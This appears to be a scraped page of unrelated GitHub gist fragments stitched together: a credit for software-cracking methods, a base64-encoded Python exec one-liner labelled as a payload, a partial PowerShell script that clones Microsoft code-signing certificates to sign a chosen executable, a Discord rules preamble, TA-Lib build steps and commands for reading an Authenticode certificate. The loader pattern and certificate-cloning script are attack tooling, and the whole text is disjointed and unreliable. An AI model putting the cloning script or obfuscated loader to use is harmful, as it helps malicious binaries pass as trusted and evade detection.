Thanks to @leogx9r for providing cracking methods.
https://gist.github.com/JerryLokjianming/71dac05f27f8c96ad1c8941b88030451#gistcomment-3762200 https://gist.github.com/maboloshi/feaa63c35f4c2baab24c9aaf9b3f4e47#gistcomment-3802197 https://gist.github.com/maboloshi/feaa63c35f4c2baab24c9aaf9b3f4e47#gistcomment-3803204
Note: ARM platform is not supported
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('cHJpbnQgKCJDdXN0b21pemVkIHBheWxvYWQiKQpwcmludCAoIkl0IHdvcmtzISIpCg=='))) |
# Technique taken from: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec | |
# Remeber to set your target file path to $SignThis!! | |
# Example: $SignThis = "C:\Users\user\Desktop\runme.exe"; Cert-Clone.ps1; | |
# Setup Cert Store in Reg | |
$CertStoreLocation = @{ CertStoreLocation = 'Cert:\CurrentUser\My' } | |
# Setup Cert Store on Disk | |
[system.io.directory]::CreateDirectory("C:\CertStore") | |
# Download Root Cert |
# We'll just store the cloned certificates in current user "Personal" store for now. | |
$CertStoreLocation = @{ CertStoreLocation = 'Cert:\CurrentUser\My' } | |
$MS_Root_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32Root.cer | |
$Cloned_MS_Root_Cert = New-SelfSignedCertificate -CloneCert $MS_Root_Cert @CertStoreLocation | |
$MS_PCA_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32PCA.cer | |
$Cloned_MS_PCA_Cert = New-SelfSignedCertificate -CloneCert $MS_PCA_Cert -Signer $Cloned_MS_Root_Cert @CertStoreLocation | |
$MS_Leaf_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32Leaf.cer |
I'll start off with letting you know this is a fork from someone else. However, for some bizarre reason, this is the one everyone finds, so I better get round to updating this. Credit to Cristiano#2233 for the original idea.
Also, I've had a lot of people saying the rules are to strict. If you pick all the rules here, you're right, it would be very strict. However the rules below are guidelines! They are there for you to pick the ones you desire, you can ignore ones you don't want. Hopefully they might help with rules you wouldn't have thought of otherwise.
Here are the instructions to build the 64-bit ta-lib.
Install TA-Lib C Library on Windows 10
- Download and Unzip ta-lib-0.4.0-msvc.zip
- Move the Unzipped Folder ta-lib to C:\
- Download and Install Visual Studio Community 2015
- Remember to Select [Visual C++] Feature
- Build TA-Lib Library
- From Windows Start Menu, Start [VS2015 x64 Native Tools Command Prompt]
From: http://web.fournier.nl/2013/10/get-readable-certificate-from-windows.html
I searched high and low for a simple (linux) solution on how to extract the certificate of an authenticode signed windows binary. I don't want to use wine, nor mono. This is what I came up with:
- Extract the certificate with 7zip: 7z e setup.exe CERTIFICATE
- remove the first 8 bytes: dd if=CERTIFICATE bs=1 skip=8 of=setup.exe.pkcs7
- Read it: openssl pkcs7 -in setup.exe.pkcs7 -inform DER -print_certs -text